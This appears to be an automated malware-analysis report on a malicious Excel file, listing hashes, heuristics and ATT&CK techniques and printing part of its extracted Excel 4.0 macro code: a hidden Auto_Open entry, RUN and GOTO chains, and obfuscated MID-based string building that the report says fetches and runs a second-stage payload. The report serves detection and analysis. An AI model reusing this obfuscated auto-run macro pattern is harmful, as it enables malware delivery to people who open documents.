Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f453ab718bb9ddff…

MALICIOUS

Office (OLE)

116.5 KB Created: 2020-05-27 10:48:47 Authoring application: Microsoft Excel First seen: 2020-09-15
MD5: f4cef125d9a9dc8b5ead0834cfaf0944 SHA-1: 23ac93ccdac3ee0f75d3ee2e9ac4d12a99bf6c79 SHA-256: f453ab718bb9ddff954f9506f539615795907da0f4a7dd3bc57319b6c1ad45f9
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

This Excel file contains Excel 4.0 macros, specifically an Auto_Open entry, which is a critical finding. The macros utilize dangerous functions such as RUN, indicating an intent to execute arbitrary code. The presence of these functions strongly suggests the macro is designed to download and execute a second-stage payload, a common technique for malware delivery.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 39361 bytes
SHA-256: db9ec616f1b759705b62d0be0afb249ed521949263cfb2919f0e032d8c26d728
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     38 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  faiqZv5ER6STo9YXJKSNy9YrvC1Fl
' 0018     28 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open hidden len=7 ptgRef3d  Sheet!DY10402 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' Sheet,Reference,Formula,Value
'  faiqZv5ER6STo9YXJKSNy9YrvC1Fl,FI979,RUN(BV40053),""
'  faiqZv5ER6STo9YXJKSNy9YrvC1Fl,DE1116,RUN(FI978),""
'  faiqZv5ER6STo9YXJKSNy9YrvC1Fl,DX1914,GOTO(D56649),""
'  faiqZv5ER6STo9YXJKSNy9YrvC1Fl,BQ2275,"FORMULA(MID(EH64194,12,1)&MID(EH64194,18,1)&MID(DB43962,8,1)&MID(DB43962,11,1)&MID(DB43962,15,1)&MID(DB43962,1,1)&MID(IT41685,9,1)&MID(DB43962,2,1)&MID(EH64194,16,1)&MID(DB43962,8,1)&MID(DB43962,15,1)&MID(DB43962,1,1)&MID(IT41685,10,1),ET35589)",""
'  faiqZv5ER6STo9YXJKSNy9YrvC1Fl,BQ2276,GOTO(DC22048),""
'  faiqZv5ER6STo9YXJKSNy9YrvC1Fl,L5902,"FORMULA(MID(EH64194,12,1)&MID(DB43962,5,1)&MID(DB43962,2,1)&MID(IT41685,9,1)&MID(DB43962,3,1)&MID(DB43962,1,1)&MID(DB43962,16,1)&MID(IT41685,15,1)&MID(DB43962,19,1)&MID(DB43962,11,1)&MID(DB43962,14,1)&MID(DB43962,7,1)&MID(DB43962,15,1)&MID(DB43962,12,1)&MID(EH64194,16,1)&MID(EH64194,18,1)&MID(DB43962,1,1)&MID(IT41685,9,1)&MID(EH64194,3,1)&MID(EH64194,1,1)&MID(IT41685,10,1)&MID(IT41685,13,1)&MID(IT41685,13,1)&MID(DB43962,3,1)&MID(DB43962,11,1)&MID(DB43962,16,1)&MID(DB43962,11,1)&MID(IT41685,9,1)&MID(DB43962,14,1)&MID(GY21721,4,1)&MID(EH64194,1,1)&MID(EH64194,8,1)&MID(EH64194,5,1)&MID(EH64194,7,1)&MID(EH64194,5,1)&MID(GY21721,6,1)&MID(EH64194,18,1)&MID(GY21721,4,1)&MID(IT41685,18,1)&MID(IT41685,18,1)&MID(EH64194,1,1)&MID(GY21721,6,1)&MID(IT41685,10,1)&MID(IT41685,10,1),L5903)",""
'  faiqZv5ER6STo9YXJKSNy9YrvC1Fl,L5904,RUN(HT13351),""
'  faiqZv5ER6STo9YXJKSNy9YrvC1Fl,EA7153,"FORMULA(MID(BH56253,12,1)&MID(BA33607,2,1)&MID(BA33607,5,1)&MID(BA33607,8,1)&MID(BA33607,1,1)&MID(BA33607,15,1)&MID(E17496,9,1)&MID(BA33607,14,1)&MID(CD50432,4,1)&MID(BH56253,4,1)&MID(BH56253,6,1)&MID(BH56253,3,1)&MID(BH56253,8,1)&MID(CD50432,6,1)&MID(BH56253,18,1)&MID(CD50432,4,1)&MID(BH56253,7,1)&MID(BH56253,3,1)&MID(CD50432,6,1)&MID(E17496,10,1),DE1115)",""
'  faiqZv5ER6STo9YXJKSNy9YrvC1Fl,EA7154,RUN(DL23756),""
'  faiqZv5ER6STo9YXJKSNy9YrvC1Fl,EX7517,RUN(FG11332),""
'  faiqZv5ER6STo9YXJKSNy9YrvC1Fl,BZ8528,"FORMULA(MID(EH64194,12,1)&MID(DB43962,5,1)&MID(DB43962,2,1)&MID(IT41685,9,1)&MID(DB43962,3,1)&MID(DB43962,1,1)&MID(DB43962,16,1)&MID(IT41685,15,1)&MID(DB43962,19,1)&MID(DB43962,11,1)&MID(DB43962,14,1)&MID(DB43962,7,1)&MID(DB43962,15,1)&MID(DB43962,12,1)&MID(EH64194,16,1)&MID(EH64194,18,1)&MID(DB43962,1,1)&MID(IT41685,9,1)&MID(IT41685,18,1)&MID(EH64194,3,1)&MID(IT41685,10,1)&MID(EH64194,11,1)&MID(EH64194,2,1)&MID(EH64194,8,1)&MID(IT41685,17,1)&MID(IT41685,13,1)&MID(DB43962,3,1)&MID(DB43962,11,1)&MID(DB43962,16,1)&MID(DB43962,11,1)&MID(IT41685,9,1)&MID(DB43962,14,1)&MID(GY21721,4,1)&MID(EH64194,1,1)&MID(EH64194,6,1)&MID(IT41685,17,1)&MID(EH64194,5,1)&MID(IT41685,17,1)&MID(GY21721,6,1)&MID(EH64194,18,1)&MID(GY21721,4,1)&MID(EH64194,6,1)&MID(EH64194,1,1)&MID(GY21721,6,1)&MID(IT41685,10,1)&MID(IT41685,13,1)&MID(IT41685,10,1),BZ8529)",""
'  faiqZv5ER6STo9YXJKSNy9YrvC1Fl,BZ8530,RUN(GL63561),""
'  faiqZv5ER6STo9YXJKSNy9YrvC1Fl,HR9374,"FORMULA(MID(EH64194,12,1)&MID(DB43962,5,1)&MID(DB43962,2,1)&MID(IT41685,9,1)&MID(DB43962,5,1)&MID(DB43962,15,1)&MID(DB43962,10,1)&MID(DB43962,17,1)&MID(DB43962,9,1)&MID(EH64194,17,1)&MID(DB43962,1,1)&MID(DB43962,14,1)&MID(IT41685,9,1)&MID(DB43962,15,1)&MID(DB43962,1,1)&MID(EH64194,16,1)&MID(DB43962,14,1)&MID(EH64194,18,1)&MID(DB43962,4,1)&MID(IT41685,9,1)&MID(IT41685,3,1)&MID(IT41685,17,1)&MID(IT41685,17,1)&MID(IT41685,17,1)&MID(IT41685,18,1)&MID(IT41685,3,1)&MID(IT41685,13,1)&MID(DB43962,14,1)&MID(GY21721,4,1)&MID(EH64194,3,1)&MID(EH64194,3,1)&MID(EH64194,3,1)&MID(EH64194,6,1)&MID(EH64194,1,1)&MID(GY21721,6,1)&MID(EH64194,18,1)&MID(GY21721,4,1)&MID(IT41685,14,1)&MID(IT41685,18,1
... (truncated)